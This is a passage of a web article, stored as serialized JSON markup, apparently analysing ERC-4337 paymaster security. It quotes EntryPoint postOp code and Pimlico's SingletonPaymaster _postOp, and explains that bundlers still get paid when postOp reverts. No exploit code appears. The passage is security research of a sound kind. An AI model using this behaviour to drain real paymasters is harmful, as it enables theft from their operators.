}\n",[103723],{"type":19,"tag":27,"props":103724,"children":103725},{"__ignoreMap":7},[103726,103741,103766,103785,103804,103816,103853,103860,103892,103909,103924,103940,103964,103989,104013,104035,104053,104070,104078,104096,104112,104145,104163,104170,104177,104185,104201,104233,104255,104262,104269,104276],{"type":19,"tag":168,"props":103727,"children":103728},{"class":170,"line":171},[103729,103733,103737],{"type":19,"tag":168,"props":103730,"children":103731},{"style":382},[103732],{"type":24,"value":87320},{"type":19,"tag":168,"props":103734,"children":103735},{"style":175},[103736],{"type":24,"value":102919},{"type":19,"tag":168,"props":103738,"children":103739},{"style":212},[103740],{"type":24,"value":870},{"type":19,"tag":168,"props":103742,"children":103743},{"class":170,"line":198},[103744,103749,103753,103757,103762],{"type":19,"tag":168,"props":103745,"children":103746},{"style":382},[103747],{"type":24,"value":103748}," IPaymaster",{"type":19,"tag":168,"props":103750,"children":103751},{"style":212},[103752],{"type":24,"value":948},{"type":19,"tag":168,"props":103754,"children":103755},{"style":393},[103756],{"type":24,"value":101279},{"type":19,"tag":168,"props":103758,"children":103759},{"style":393},[103760],{"type":24,"value":103761}," mode",{"type":19,"tag":168,"props":103763,"children":103764},{"style":212},[103765],{"type":24,"value":915},{"type":19,"tag":168,"props":103767,"children":103768},{"class":170,"line":415},[103769,103773,103777,103781],{"type":19,"tag":168,"props":103770,"children":103771},{"style":382},[103772],{"type":24,"value":102227},{"type":19,"tag":168,"props":103774,"children":103775},{"style":382},[103776],{"type":24,"value":100567},{"type":19,"tag":168,"props":103778,"children":103779},{"style":393},[103780],{"type":24,"value":103215},{"type":19,"tag":168,"props":103782,"children":103783},{"style":212},[103784],{"type":24,"value":915},{"type":19,"tag":168,"props":103786,"children":103787},{"class":170,"line":450},[103788,103792,103796,103800],{"type":19,"tag":168,"props":103789,"children":103790},{"style":825},[103791],{"type":24,"value":103186},{"type":19,"tag":168,"props":103793,"children":103794},{"style":382},[103795],{"type":24,"value":100567},{"type":19,"tag":168,"props":103797,"children":103798},{"style":393},[103799],{"type":24,"value":73829},{"type":19,"tag":168,"props":103801,"children":103802},{"style":212},[103803],{"type":24,"value":915},{"type":19,"tag":168,"props":103805,"children":103806},{"class":170,"line":560},[103807,103811],{"type":19,"tag":168,"props":103808,"children":103809},{"style":825},[103810],{"type":24,"value":87498},{"type":19,"tag":168,"props":103812,"children":103813},{"style":393},[103814],{"type":24,"value":103815}," actualGas\n",{"type":19,"tag":168,"props":103817,"children":103818},{"class":170,"line":666},[103819,103823,103828,103833,103837,103841,103845,103849],{"type":19,"tag":168,"props":103820,"children":103821},{"style":212},[103822],{"type":24,"value":103243},{"type":19,"tag":168,"props":103824,"children":103825},{"style":382},[103826],{"type":24,"value":103827},"internal",{"type":19,"tag":168,"props":103829,"children":103830},{"style":382},[103831],{"type":24,"value":103832}," virtual",{"type":19,"tag":168,"props":103834,"children":103835},{"style":419},[103836],{"type":24,"value":73482},{"type":19,"tag":168,"props":103838,"children":103839},{"style":212},[103840],{"type":24,"value":461},{"type":19,"tag":168,"props":103842,"children":103843},{"style":825},[103844],{"type":24,"value":43649},{"type":19,"tag":168,"props":103846,"children":103847},{"style":393},[103848],{"type":24,"value":101308},{"type":19,"tag":168,"props":103850,"children":103851},{"style":212},[103852],{"type":24,"value":12250},{"type":19,"tag":168,"props":103854,"children":103855},{"class":170,"line":694},[103856],{"type":19,"tag":168,"props":103857,"children":103858},{"style":212},[103859],{"type":24,"value":102288},{"type":19,"tag":168,"props":103861,"children":103862},{"class":170,"line":707},[103863,103867,103872,103876,103880,103884,103888],{"type":19,"tag":168,"props":103864,"children":103865},{"style":419},[103866],{"type":24,"value":56285},{"type":19,"tag":168,"props":103868,"children":103869},{"style":212},[103870],{"type":24,"value":103871}," (paymaster ",{"type":19,"tag":168,"props":103873,"children":103874},{"style":399},[103875],{"type":24,"value":6013},{"type":19,"tag":168,"props":103877,"children":103878},{"style":825},[103879],{"type":24,"value":3685},{"type":19,"tag":168,"props":103881,"children":103882},{"style":212},[103883],{"type":24,"value":500},{"type":19,"tag":168,"props":103885,"children":103886},{"style":192},[103887],{"type":24,"value":1452},{"type":19,"tag":168,"props":103889,"children":103890},{"style":212},[103891],{"type":24,"value":32668},{"type":19,"tag":168,"props":103893,"children":103894},{"class":170,"line":725},[103895,103900,103904],{"type":19,"tag":168,"props":103896,"children":103897},{"style":212},[103898],{"type":24,"value":103899}," refundAddress ",{"type":19,"tag":168,"props":103901,"children":103902},{"style":399},[103903],{"type":24,"value":486},{"type":19,"tag":168,"props":103905,"children":103906},{"style":212},[103907],{"type":24,"value":103908}," mUserOp.sender;\n",{"type":19,"tag":168,"props":103910,"children":103911},{"class":170,"line":746},[103912,103916,103920],{"type":19,"tag":168,"props":103913,"children":103914},{"style":212},[103915],{"type":24,"value":68081},{"type":19,"tag":168,"props":103917,"children":103918},{"style":419},[103919],{"type":24,"value":718},{"type":19,"tag":168,"props":103921,"children":103922},{"style":212},[103923],{"type":24,"value":691},{"type":19,"tag":168,"props":103925,"children":103926},{"class":170,"line":755},[103927,103931,103935],{"type":19,"tag":168,"props":103928,"children":103929},{"style":212},[103930],{"type":24,"value":103899},{"type":19,"tag":168,"props":103932,"children":103933},{"style":399},[103934],{"type":24,"value":486},{"type":19,"tag":168,"props":103936,"children":103937},{"style":212},[103938],{"type":24,"value":103939}," paymaster;\n",{"type":19,"tag":168,"props":103941,"children":103942},{"class":170,"line":1008},[103943,103947,103952,103956,103960],{"type":19,"tag":168,"props":103944,"children":103945},{"style":419},[103946],{"type":24,"value":101007},{"type":19,"tag":168,"props":103948,"children":103949},{"style":212},[103950],{"type":24,"value":103951}," (context.length ",{"type":19,"tag":168,"props":103953,"children":103954},{"style":399},[103955],{"type":24,"value":7905},{"type":19,"tag":168,"props":103957,"children":103958},{"style":192},[103959],{"type":24,"value":437},{"type":19,"tag":168,"props":103961,"children":103962},{"style":212},[103963],{"type":24,"value":12250},{"type":19,"tag":168,"props":103965,"children":103966},{"class":170,"line":1025},[103967,103972,103976,103980,103984],{"type":19,"tag":168,"props":103968,"children":103969},{"style":212},[103970],{"type":24,"value":103971}," actualGasCost ",{"type":19,"tag":168,"props":103973,"children":103974},{"style":399},[103975],{"type":24,"value":486},{"type":19,"tag":168,"props":103977,"children":103978},{"style":212},[103979],{"type":24,"value":102779},{"type":19,"tag":168,"props":103981,"children":103982},{"style":399},[103983],{"type":24,"value":2002},{"type":19,"tag":168,"props":103985,"children":103986},{"style":212},[103987],{"type":24,"value":103988}," gasPrice;\n",{"type":19,"tag":168,"props":103990,"children":103991},{"class":170,"line":1042},[103992,103996,104001,104005,104009],{"type":19,"tag":168,"props":103993,"children":103994},{"style":825},[103995],{"type":24,"value":100964},{"type":19,"tag":168,"props":103997,"children":103998},{"style":212},[103999],{"type":24,"value":104000}," postOpPreGas ",{"type":19,"tag":168,"props":104002,"children":104003},{"style":399},[104004],{"type":24,"value":486},{"type":19,"tag":168,"props":104006,"children":104007},{"style":382},[104008],{"type":24,"value":102797},{"type":19,"tag":168,"props":104010,"children":104011},{"style":212},[104012],{"type":24,"value":1084},{"type":19,"tag":168,"props":104014,"children":104015},{"class":170,"line":1055},[104016,104021,104026,104030],{"type":19,"tag":168,"props":104017,"children":104018},{"style":419},[104019],{"type":24,"value":104020}," if",{"type":19,"tag":168,"props":104022,"children":104023},{"style":212},[104024],{"type":24,"value":104025}," (mode ",{"type":19,"tag":168,"props":104027,"children":104028},{"style":399},[104029],{"type":24,"value":13136},{"type":19,"tag":168,"props":104031,"children":104032},{"style":212},[104033],{"type":24,"value":104034}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":19,"tag":168,"props":104036,"children":104037},{"class":170,"line":1064},[104038,104043,104048],{"type":19,"tag":168,"props":104039,"children":104040},{"style":419},[104041],{"type":24,"value":104042}," try",{"type":19,"tag":168,"props":104044,"children":104045},{"style":175},[104046],{"type":24,"value":104047}," IPaymaster",{"type":19,"tag":168,"props":104049,"children":104050},{"style":212},[104051],{"type":24,"value":104052},"(paymaster).postOp{\n",{"type":19,"tag":168,"props":104054,"children":104055},{"class":170,"line":1087},[104056,104061,104065],{"type":19,"tag":168,"props":104057,"children":104058},{"style":212},[104059],{"type":24,"value":104060}," gas",{"type":19,"tag":168,"props":104062,"children":104063},{"style":399},[104064],{"type":24,"value":1922},{"type":19,"tag":168,"props":104066,"children":104067},{"style":212},[104068],{"type":24,"value":104069}," mUserOp.paymasterPostOpGasLimit\n",{"type":19,"tag":168,"props":104071,"children":104072},{"class":170,"line":1096},[104073],{"type":19,"tag":168,"props":104074,"children":104075},{"style":212},[104076],{"type":24,"value":104077}," }(mode, context, actualGasCost, gasPrice)\n",{"type":19,"tag":168,"props":104079,"children":104080},{"class":170,"line":1105},[104081,104086,104091],{"type":19,"tag":168,"props":104082,"children":104083},{"style":373},[104084],{"type":24,"value":104085}," // ",{"type":19,"tag":168,"props":104087,"children":104088},{"style":382},[104089],{"type":24,"value":104090},"solhint-disable",{"type":19,"tag":168,"props":104092,"children":104093},{"style":373},[104094],{"type":24,"value":104095},"-next-line no-empty-blocks\n",{"type":19,"tag":168,"props":104097,"children":104098},{"class":170,"line":1174},[104099,104104,104108],{"type":19,"tag":168,"props":104100,"children":104101},{"style":212},[104102],{"type":24,"value":104103}," {} ",{"type":19,"tag":168,"props":104105,"children":104106},{"style":419},[104107],{"type":24,"value":45893},{"type":19,"tag":168,"props":104109,"children":104110},{"style":212},[104111],{"type":24,"value":691},{"type":19,"tag":168,"props":104113,"children":104114},{"class":170,"line":1182},[104115,104120,104124,104129,104133,104137,104141],{"type":19,"tag":168,"props":104116,"children":104117},{"style":825},[104118],{"type":24,"value":104119}," bytes",{"type":19,"tag":168,"props":104121,"children":104122},{"style":382},[104123],{"type":24,"value":100567},{"type":19,"tag":168,"props":104125,"children":104126},{"style":212},[104127],{"type":24,"value":104128}," reason ",{"type":19,"tag":168,"props":104130,"children":104131},{"style":399},[104132],{"type":24,"value":486},{"type":19,"tag":168,"props":104134,"children":104135},{"style":212},[104136],{"type":24,"value":103338},{"type":19,"tag":168,"props":104138,"children":104139},{"style":175},[104140],{"type":24,"value":103429},{"type":19,"tag":168,"props":104142,"children":104143},{"style":212},[104144],{"type":24,"value":103434},{"type":19,"tag":168,"props":104146,"children":104147},{"class":170,"line":1212},[104148,104153,104158],{"type":19,"tag":168,"props":104149,"children":104150},{"style":419},[104151],{"type":24,"value":104152}," revert",{"type":19,"tag":168,"props":104154,"children":104155},{"style":175},[104156],{"type":24,"value":104157}," PostOpReverted",{"type":19,"tag":168,"props":104159,"children":104160},{"style":212},[104161],{"type":24,"value":104162},"(reason);\n",{"type":19,"tag":168,"props":104164,"children":104165},{"class":170,"line":1220},[104166],{"type":19,"tag":168,"props":104167,"children":104168},{"style":212},[104169],{"type":24,"value":68465},{"type":19,"tag":168,"props":104171,"children":104172},{"class":170,"line":1252},[104173],{"type":19,"tag":168,"props":104174,"children":104175},{"style":212},[104176],{"type":24,"value":68550},{"type":19,"tag":168,"props":104178,"children":104179},{"class":170,"line":1260},[104180],{"type":19,"tag":168,"props":104181,"children":104182},{"style":373},[104183],{"type":24,"value":104184}," // Calculating a penalty for unused postOp gas\n",{"type":19,"tag":168,"props":104186,"children":104187},{"class":170,"line":1320},[104188,104192,104196],{"type":19,"tag":168,"props":104189,"children":104190},{"style":373},[104191],{"type":24,"value":101029},{"type":19,"tag":168,"props":104193,"children":104194},{"style":382},[104195],{"type":24,"value":64245},{"type":19,"tag":168,"props":104197,"children":104198},{"style":373},[104199],{"type":24,"value":104200}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":19,"tag":168,"props":104202,"children":104203},{"class":170,"line":6486},[104204,104208,104213,104217,104221,104225,104229],{"type":19,"tag":168,"props":104205,"children":104206},{"style":825},[104207],{"type":24,"value":100964},{"type":19,"tag":168,"props":104209,"children":104210},{"style":212},[104211],{"type":24,"value":104212}," postOpGasUsed ",{"type":19,"tag":168,"props":104214,"children":104215},{"style":399},[104216],{"type":24,"value":486},{"type":19,"tag":168,"props":104218,"children":104219},{"style":212},[104220],{"type":24,"value":104000},{"type":19,"tag":168,"props":104222,"children":104223},{"style":399},[104224],{"type":24,"value":1757},{"type":19,"tag":168,"props":104226,"children":104227},{"style":382},[104228],{"type":24,"value":102797},{"type":19,"tag":168,"props":104230,"children":104231},{"style":212},[104232],{"type":24,"value":1084},{"type":19,"tag":168,"props":104234,"children":104235},{"class":170,"line":6504},[104236,104241,104245,104250],{"type":19,"tag":168,"props":104237,"children":104238},{"style":212},[104239],{"type":24,"value":104240}," postOpUnusedGasPenalty ",{"type":19,"tag":168,"props":104242,"children":104243},{"style":399},[104244],{"type":24,"value":486},{"type":19,"tag":168,"props":104246,"children":104247},{"style":175},[104248],{"type":24,"value":104249}," _getUnusedGasPenalty",{"type":19,"tag":168,"props":104251,"children":104252},{"style":212},[104253],{"type":24,"value":104254},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":19,"tag":168,"props":104256,"children":104257},{"class":170,"line":6549},[104258],{"type":19,"tag":168,"props":104259,"children":104260},{"style":212},[104261],{"type":24,"value":68558},{"type":19,"tag":168,"props":104263,"children":104264},{"class":170,"line":6655},[104265],{"type":19,"tag":168,"props":104266,"children":104267},{"style":212},[104268],{"type":24,"value":56369},{"type":19,"tag":168,"props":104270,"children":104271},{"class":170,"line":20965},[104272],{"type":19,"tag":168,"props":104273,"children":104274},{"style":212},[104275],{"type":24,"value":102288},{"type":19,"tag":168,"props":104277,"children":104278},{"class":170,"line":21000},[104279],{"type":19,"tag":168,"props":104280,"children":104281},{"style":212},[104282],{"type":24,"value":761},{"type":19,"tag":20,"props":104284,"children":104285},{},[104286,104288,104293,104295,104301,104303,104309,104311,104316,104318,104323,104325,104330,104332,104337,104339,104344,104346,104351],{"type":24,"value":104287},"It turns out that if the ",{"type":19,"tag":27,"props":104289,"children":104291},{"className":104290},[],[104292],{"type":24,"value":99868},{"type":24,"value":104294}," call fails, it will revert with ",{"type":19,"tag":27,"props":104296,"children":104298},{"className":104297},[],[104299],{"type":24,"value":104300},"PostOpReverted",{"type":24,"value":104302},". However, as we can see in the previous code of ",{"type":19,"tag":27,"props":104304,"children":104306},{"className":104305},[],[104307],{"type":24,"value":104308},"_executeUserOp",{"type":24,"value":104310},", even though ",{"type":19,"tag":27,"props":104312,"children":104314},{"className":104313},[],[104315],{"type":24,"value":103010},{"type":24,"value":104317}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":19,"tag":27,"props":104319,"children":104321},{"className":104320},[],[104322],{"type":24,"value":103678},{"type":24,"value":104324}," call with ",{"type":19,"tag":27,"props":104326,"children":104328},{"className":104327},[],[104329],{"type":24,"value":103686},{"type":24,"value":104331}," mode, and it won't try to call ",{"type":19,"tag":27,"props":104333,"children":104335},{"className":104334},[],[104336],{"type":24,"value":99868},{"type":24,"value":104338}," again. This means the ",{"type":19,"tag":27,"props":104340,"children":104342},{"className":104341},[],[104343],{"type":24,"value":99729},{"type":24,"value":104345}," still gets paid for submitting the failed ",{"type":19,"tag":27,"props":104347,"children":104349},{"className":104348},[],[104350],{"type":24,"value":99669},{"type":24,"value":948},{"type":19,"tag":20,"props":104353,"children":104354},{},[104355,104357,104362,104364,104369,104371,104378],{"type":24,"value":104356},"Now that we understand this behavior where ",{"type":19,"tag":27,"props":104358,"children":104360},{"className":104359},[],[104361],{"type":24,"value":99868},{"type":24,"value":104363}," is allowed to fail while the ",{"type":19,"tag":27,"props":104365,"children":104367},{"className":104366},[],[104368],{"type":24,"value":99729},{"type":24,"value":104370}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":19,"tag":269,"props":104372,"children":104375},{"href":104373,"rel":104374},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[273],[104376],{"type":24,"value":104377},"Pimlico",{"type":24,"value":948},{"type":19,"tag":158,"props":104380,"children":104382},{"className":1905,"code":104381,"language":1904,"meta":7,"style":7}," function _postOp(\n PostOpMode, /* mode */\n bytes calldata _context,\n uint256 _actualGasCost,\n uint256 _actualUserOpFeePerGas\n )\n internal\n {\n ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n );\n\n uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n uint256 costInToken =\n getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n uint256 absoluteCostInToken =\n costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n SafeTransferLib.safeTransferFrom(\n ctx.token,\n costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n absoluteCostInToken\n );\n\n uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n }\n\n emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n }\n",[104383],{"type":19,"tag":27,"props":104384,"children":104385},{"__ignoreMap":7},[104386,104401,104418,104438,104454,104466,104473,104480,104487,104518,104525,104550,104558,104565,104572,104601,104608,104624,104646,104653,104669,104719,104726,104742,104750,104783,104816,104824,104831,104838,104881,104888,104937,104963,104970,104977,104994],{"type":19,"tag":168,"props":104387,"children":104388},{"class":170,"line":171},[104389,104393,104397],{"type":19,"tag":168,"props":104390,"children":104391},{"style":382},[104392],{"type":24,"value":87320},{"type":19,"tag":168,"props":104394,"children":104395},{"style":175},[104396],{"type":24,"value":101270},{"type":19,"tag":168,"props":104398,"children":104399},{"style":212},[104400],{"type":24,"value":870},{"type":19,"tag":168,"props":104402,"children":104403},{"class":170,"line":198},[104404,104409,104413],{"type":19,"tag":168,"props":104405,"children":104406},{"style":382},[104407],{"type":24,"value":104408}," PostOpMode",{"type":19,"tag":168,"props":104410,"children":104411},{"style":212},[104412],{"type":24,"value":471},{"type":19,"tag":168,"props":104414,"children":104415},{"style":373},[104416],{"type":24,"value":104417},"/* mode */\n",{"type":19,"tag":168,"props":104419,"children":104420},{"class":170,"line":415},[104421,104425,104429,104434],{"type":19,"tag":168,"props":104422,"children":104423},{"style":825},[104424],{"type":24,"value":103186},{"type":19,"tag":168,"props":104426,"children":104427},{"style":382},[104428],{"type":24,"value":100499},{"type":19,"tag":168,"props":104430,"children":104431},{"style":393},[104432],{"type":24,"value":104433}," _context",{"type":19,"tag":168,"props":104435,"children":104436},{"style":212},[104437],{"type":24,"value":915},{"type":19,"tag":168,"props":104439,"children":104440},{"class":170,"line":450},[104441,104445,104450],{"type":19,"tag":168,"props":104442,"children":104443},{"style":825},[104444],{"type":24,"value":87498},{"type":19,"tag":168,"props":104446,"children":104447},{"style":393},[104448],{"type":24,"value":104449}," _actualGasCost",{"type":19,"tag":168,"props":104451,"children":104452},{"style":212},[104453],{"type":24,"value":915},{"type":19,"tag":168,"props":104455,"children":104456},{"class":170,"line":560},[104457,104461],{"type":19,"tag":168,"props":104458,"children":104459},{"style":825},[104460],{"type":24,"value":87498},{"type":19,"tag":168,"props":104462,"children":104463},{"style":393},[104464],{"type":24,"value":104465}," _actualUserOpFeePerGas\n",{"type":19,"tag":168,"props":104467,"children":104468},{"class":170,"line":666},[104469],{"type":19,"tag":168,"props":104470,"children":104471},{"style":212},[104472],{"type":24,"value":21386},{"type":19,"tag":168,"props":104474,"children":104475},{"class":170,"line":694},[104476],{"type":19,"tag":168,"props":104477,"children":104478},{"style":382},[104479],{"type":24,"value":100538},{"type":19,"tag":168,"props":104481,"children":104482},{"class":170,"line":707},[104483],{"type":19,"tag":168,"props":104484,"children":104485},{"style":212},[104486],{"type":24,"value":26657},{"type":19,"tag":168,"props":104488,"children":104489},{"class":170,"line":725},[104490,104495,104499,104504,104508,104513],{"type":19,"tag":168,"props":104491,"children":104492},{"style":212},[104493],{"type":24,"value":104494}," ERC20PostOpContext ",{"type":19,"tag":168,"props":104496,"children":104497},{"style":382},[104498],{"type":24,"value":73461},{"type":19,"tag":168,"props":104500,"children":104501},{"style":212},[104502],{"type":24,"value":104503}," ctx ",{"type":19,"tag":168,"props":104505,"children":104506},{"style":399},[104507],{"type":24,"value":486},{"type":19,"tag":168,"props":104509,"children":104510},{"style":175},[104511],{"type":24,"value":104512}," _parsePostOpContext",{"type":19,"tag":168,"props":104514,"children":104515},{"style":212},[104516],{"type":24,"value":104517},"(_context);\n",{"type":19,"tag":168,"props":104519,"children":104520},{"class":170,"line":746},[104521],{"type":19,"tag":168,"props":104522,"children":104523},{"emptyLinePlaceholder":14},[104524],{"type":24,"value":1093},{"type":19,"tag":168,"props":104526,"children":104527},{"class":170,"line":755},[104528,104532,104537,104541,104546],{"type":19,"tag":168,"props":104529,"children":104530},{"style":825},[104531],{"type":24,"value":87498},{"type":19,"tag":168,"props":104533,"children":104534},{"style":212},[104535],{"type":24,"value":104536}," expectedPenaltyGasCost ",{"type":19,"tag":168,"props":104538,"children":104539},{"style":399},[104540],{"type":24,"value":486},{"type":19,"tag":168,"props":104542,"children":104543},{"style":175},[104544],{"type":24,"value":104545}," _expectedPenaltyGasCost",{"type":19,"tag":168,"props":104547,"children":104548},{"style":212},[104549],{"type":24,"value":870},{"type":19,"tag":168,"props":104551,"children":104552},{"class":170,"line":1008},[104553],{"type":19,"tag":168,"props":104554,"children":104555},{"style":212},[104556],{"type":24,"value":104557}," _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":19,"tag":168,"props":104559,"children":104560},{"class":170,"line":1025},[104561],{"type":19,"tag":168,"props":104562,"children":104563},{"style":212},[104564],{"type":24,"value":5180},{"type":19,"tag":168,"props":104566,"children":104567},{"class":170,"line":1042},[104568],{"type":19,"tag":168,"props":104569,"children":104570},{"emptyLinePlaceholder":14},[104571],{"type":24,"value":1093},{"type":19,"tag":168,"props":104573,"children":104574},{"class":170,"line":1055},[104575,104579,104583,104587,104592,104596],{"type":19,"tag":168,"props":104576,"children":104577},{"style":825},[104578],{"type":24,"value":87498},{"type":19,"tag":168,"props":104580,"children":104581},{"style":212},[104582],{"type":24,"value":101594},{"type":19,"tag":168,"props":104584,"children":104585},{"style":399},[104586],{"type":24,"value":486},{"type":19,"tag":168,"props":104588,"children":104589},{"style":212},[104590],{"type":24,"value":104591}," _actualGasCost ",{"type":19,"tag":168,"props":104593,"children":104594},{"style":399},[104595],{"type":24,"value":1811},{"type":19,"tag":168,"props":104597,"children":104598},{"style":212},[104599],{"type":24,"value":104600}," expectedPenaltyGasCost;\n",{"type":19,"tag":168,"props":104602,"children":104603},{"class":170,"line":1064},[104604],{"type":19,"tag":168,"props":104605,"children":104606},{"emptyLinePlaceholder":14},[104607],{"type":24,"value":1093},{"type":19,"tag":168,"props":104609,"children":104610},{"class":170,"line":1087},[104611,104615,104620],{"type":19,"tag":168,"props":104612,"children":104613},{"style":825},[104614],{"type":24,"value":87498},{"type":19,"tag":168,"props":104616,"children":104617},{"style":212},[104618],{"type":24,"value":104619}," costInToken ",{"type":19,"tag":168,"props":104621,"children":104622},{"style":399},[104623],{"type":24,"value":12139},{"type":19,"tag":168,"props":104625,"children":104626},{"class":170,"line":1096},[104627,104632,104637,104641],{"type":19,"tag":168,"props":104628,"children":104629},{"style":175},[104630],{"type":24,"value":104631}," getCostInToken",{"type":19,"tag":168,"props":104633,"children":104634},{"style":212},[104635],{"type":24,"value":104636},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":19,"tag":168,"props":104638,"children":104639},{"style":399},[104640],{"type":24,"value":1811},{"type":19,"tag":168,"props":104642,"children":104643},{"style":212},[104644],{"type":24,"value":104645}," ctx.constantFee;\n",{"type":19,"tag":168,"props":104647,"children":104648},{"class":170,"line":1105},[104649],{"type":19,"tag":168,"props":104650,"children":104651},{"emptyLinePlaceholder":14},[104652],{"type":24,"value":1093},{"type":19,"tag":168,"props":104654,"children":104655},{"class":170,"line":1174},[104656,104660,104665],{"type":19,"tag":168,"props":104657,"children":104658},{"style":825},[104659],{"type":24,"value":87498},{"type":19,"tag":168,"props":104661,"children":104662},{"style":212},[104663],{"type":24,"value":104664}," absoluteCostInToken ",{"type":19,"tag":168,"props":104666,"children":104667},{"style":399},[104668],{"type":24,"value":12139},{"type":19,"tag":168,"props":104670,"children":104671},{"class":170,"line":1182},[104672,104677,104681,104686,104690,104694,104698,104702,104706,104710,104714],{"type":19,"tag":168,"props":104673,"children":104674},{"style":212},[104675],{"type":24,"value":104676}," costInToken ",{"type":19,"tag":168,"props":104678,"children":104679},{"style":399},[104680],{"type":24,"value":7905},{"type":19,"tag":168,"props":104682,"children":104683},{"style":212},[104684],{"type":24,"value":104685}," ctx.preFundCharged ",{"type":19,"tag":168,"props":104687,"children":104688},{"style":399},[104689],{"type":24,"value":552},{"type":19,"tag":168,"props":104691,"children":104692},{"style":212},[104693],{"type":24,"value":104619},{"type":19,"tag":168,"props":104695,"children":104696},{"style":399},[104697],{"type":24,"value":1757},{"type":19,"tag":168,"props":104699,"children":104700},{"style":212},[104701],{"type":24,"value":104685},{"type":19,"tag":168,"props":104703,"children":104704},{"style":399},[104705],{"type":24,"value":1922},{"type":19,"tag":168,"props":104707,"children":104708},{"style":212},[104709],{"type":24,"value":104685},{"type":19,"tag":168,"props":104711,"children":104712},{"style":399},[104713],{"type":24,"value":1757},{"type":19,"tag":168,"props":104715,"children":104716},{"style":212},[104717],{"type":24,"value":104718}," costInToken;\n",{"type":19,"tag":168,"props":104720,"children":104721},{"class":170,"line":1212},[104722],{"type":19,"tag":168,"props":104723,"children":104724},{"emptyLinePlaceholder":14},[104725],{"type":24,"value":1093},{"type":19,"tag":168,"props":104727,"children":104728},{"class":170,"line":1220},[104729,104734,104738],{"type":19,"tag":168,"props":104730,"children":104731},{"style":212},[104732],{"type":24,"value":104733}," SafeTransferLib.",{"type":19,"tag":168,"props":104735,"children":104736},{"style":175},[104737],{"type":24,"value":101125},{"type":19,"tag":168,"props":104739,"children":104740},{"style":212},[104741],{"type":24,"value":870},{"type":19,"tag":168,"props":104743,"children":104744},{"class":170,"line":1252},[104745],{"type":19,"tag":168,"props":104746,"children":104747},{"style":212},[104748],{"type":24,"value":104749}," ctx.token,\n",{"type":19,"tag":168,"props":104751,"children":104752},{"class":170,"line":1260},[104753,104757,104761,104765,104769,104774,104778],{"type":19,"tag":168,"props":104754,"children":104755},{"style":212},[104756],{"type":24,"value":104676},{"type":19,"tag":168,"props":104758,"children":104759},{"style":399},[104760],{"type":24,"value":7905},{"type":19,"tag":168,"props":104762,"children":104763},{"style":212},[104764],{"type":24,"value":104685},{"type":19,"tag":168,"props":104766,"children":104767},{"style":399},[104768],{"type":24,"value":552},{"type":19,"tag":168,"props":104770,"children":104771},{"style":212},[104772],{"type":24,"value":104773}," ctx.sender ",{"type":19,"tag":168,"props":104775,"children":104776},{"style":399},[104777],{"type":24,"value":1922},{"type":19,"tag":168,"props":104779,"children":104780},{"style":212},[104781],{"type":24,"value":104782}," ctx.treasury,\n",{"type":19,"tag":168,"props":104784,"children":104785},{"class":170,"line":1320},[104786,104790,104794,104798,104802,104807,104811],{"type":19,"tag":168,"props":104787,"children":104788},{"style":212},[104789],{"type":24,"value":104676},{"type":19,"tag":168,"props":104791,"children":104792},{"style":399},[104793],{"type":24,"value":7905},{"type":19,"tag":168,"props":104795,"children":104796},{"style":212},[104797],{"type":24,"value":104685},{"type":19,"tag":168,"props":104799,"children":104800},{"style":399},[104801],{"type":24,"value":552},{"type":19,"tag":168,"props":104803,"children":104804},{"style":212},[104805],{"type":24,"value":104806}," ctx.treasury ",{"type":19,"tag":168,"props":104808,"children":104809},{"style":399},[104810],{"type":24,"value":1922},{"type":19,"tag":168,"props":104812,"children":104813},{"style":212},[104814],{"type":24,"value":104815}," ctx.sender,\n",{"type":19,"tag":168,"props":104817,"children":104818},{"class":170,"line":6486},[104819],{"type":19,"tag":168,"props":104820,"children":104821},{"style":212},[104822],{"type":24,"value":104823}," absoluteCostInToken\n",{"type":19,"tag":168,"props":104825,"children":104826},{"class":170,"line":6504},[104827],{"type":19,"tag":168,"props":104828,"children":104829},{"style":212},[104830],{"type":24,"value":5180},{"type":19,"tag":168,"props":104832,"children":104833},{"class":170,"line":6549},[104834],{"type":19,"tag":168,"props":104835,"children":104836},{"emptyLinePlaceholder":14},[104837],{"type":24,"value":1093},{"type":19,"tag":168,"props":104839,"children":104840},{"class":170,"line":6655},[104841,104845,104850,104854,104859,104863,104868,104872,104877],{"type":19,"tag":168,"props":104842,"children":104843},{"style":825},[104844],{"type":24,"value":87498},{"type":19,"tag":168,"props":104846,"children":104847},{"style":212},[104848],{"type":24,"value":104849}," preFundInToken ",{"type":19,"tag":168,"props":104851,"children":104852},{"style":399},[104853],{"type":24,"value":486},{"type":19,"tag":168,"props":104855,"children":104856},{"style":212},[104857],{"type":24,"value":104858}," (ctx.preFund ",{"type":19,"tag":168,"props":104860,"children":104861},{"style":399},[104862],{"type":24,"value":2002},{"type":19,"tag":168,"props":104864,"children":104865},{"style":212},[104866],{"type":24,"value":104867}," ctx.exchangeRate) 